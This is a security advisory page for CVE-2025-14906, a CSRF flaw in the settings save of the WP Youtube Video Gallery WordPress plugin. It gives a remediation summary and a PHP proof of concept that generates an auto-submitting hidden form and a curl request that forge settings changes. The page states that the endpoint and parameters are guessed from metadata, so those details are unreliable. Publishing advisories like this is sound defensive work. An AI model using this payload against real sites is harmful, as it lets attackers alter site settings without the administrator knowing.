Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-14906: WP Youtube Video Gallery <= 1.0 – Cross-Site Request Forgery to Plugin Settings Update (wp-youtube-video-gallery)

Severity Medium (CVSS 4.3)
CWE 352
Vulnerable Version 1.0
Patched Version
Disclosed January 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-14906 (metadata-based):
This vulnerability is a Cross-Site Request Forgery (CSRF) flaw in the WP Youtube Video Gallery WordPress plugin version 1.0. The vulnerability exists in the plugin’s settings update functionality. Attackers can exploit this flaw to modify plugin configuration without proper authorization.

Atomic Edge research indicates the root cause is missing nonce verification on the wpYTVideoGallerySettingSave() function. The CWE-352 classification confirms this as a classic CSRF vulnerability where state-changing actions lack anti-CSRF tokens. Without examining source code, we infer this function handles POST requests to update plugin settings. The description confirms no nonce verification occurs before processing these requests.

Exploitation requires tricking an authenticated administrator into submitting a forged request. Attackers would craft a malicious webpage containing a hidden form or script. This payload would target the plugin’s settings update endpoint. Based on WordPress plugin patterns, the likely endpoint is /wp-admin/admin-ajax.php with action=wpYTVideoGallerySettingSave. The payload would include POST parameters corresponding to plugin settings the attacker wishes to modify.

Remediation requires adding nonce verification to the wpYTVideoGallerySettingSave() function. Developers should implement wp_verify_nonce() checks before processing any settings updates. Proper capability checks should also confirm the requesting user has appropriate permissions. WordPress provides create_nonce() and wp_verify_nonce() functions specifically for CSRF protection.

Successful exploitation allows attackers to modify plugin settings. While the CVSS vector indicates low confidentiality and availability impact (C:N/A:N), integrity impact is present (I:L). Attackers could disrupt plugin functionality, change display settings, or potentially inject malicious content if settings control output rendering. The attack requires administrator interaction (UI:R), limiting automated exploitation.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-14906 - WP Youtube Video Gallery <= 1.0 - Cross-Site Request Forgery to Plugin Settings Update
<?php
/**
 * Proof of Concept for CVE-2025-14906
 * This script demonstrates CSRF against WP Youtube Video Gallery plugin settings.
 * Assumptions based on WordPress plugin patterns:
 * 1. The vulnerable function wpYTVideoGallerySettingSave() is registered as an AJAX handler
 * 2. The endpoint is /wp-admin/admin-ajax.php
 * 3. The action parameter is 'wpYTVideoGallerySettingSave' or similar
 * 4. Plugin settings are updated via POST parameters
 *
 * Usage: Set $target_url to the vulnerable WordPress site and execute.
 * This generates an HTML file that, when visited by an authenticated admin,
 * would submit forged settings update requests.
 */

$target_url = 'https://vulnerable-wordpress-site.com'; // CHANGE THIS

// Generate a malicious HTML page that auto-submits a CSRF payload
$html = <<<HTML
<!DOCTYPE html>
<html>
<head>
    <title>Loading...</title>
</head>
<body>
    <h2>Please wait...</h2>
    
    <!-- Hidden form targeting the plugin's AJAX handler -->
    <form id="csrf_form" method="POST" action="{$target_url}/wp-admin/admin-ajax.php">
        <input type="hidden" name="action" value="wpYTVideoGallerySettingSave" />
        <!-- Example settings parameters - actual parameter names would require plugin analysis -->
        <input type="hidden" name="api_key" value="attacker_controlled_value" />
        <input type="hidden" name="default_layout" value="malicious_setting" />
        <input type="hidden" name="auto_play" value="1" />
    </form>
    
    <script>
        // Auto-submit the form when page loads
        document.addEventListener('DOMContentLoaded', function() {
            document.getElementById('csrf_form').submit();
        });
    </script>
</body>
</html>
HTML;

// Save the PoC HTML file
file_put_contents('cve-2025-14906-poc.html', $html);
echo "PoC HTML file generated: cve-2025-14906-poc.htmln";
echo "Host this file on an attacker-controlled server.n";
echo "When an authenticated WordPress admin visits the page, n";
echo "their browser will automatically submit the settings update request.n";

// Alternative: Direct cURL demonstration (for testing)
echo "n--- Direct cURL command for testing ---n";
echo "curl -X POST '{$target_url}/wp-admin/admin-ajax.php' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'action=wpYTVideoGallerySettingSave&api_key=attacker_value&default_layout=malicious'n";

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School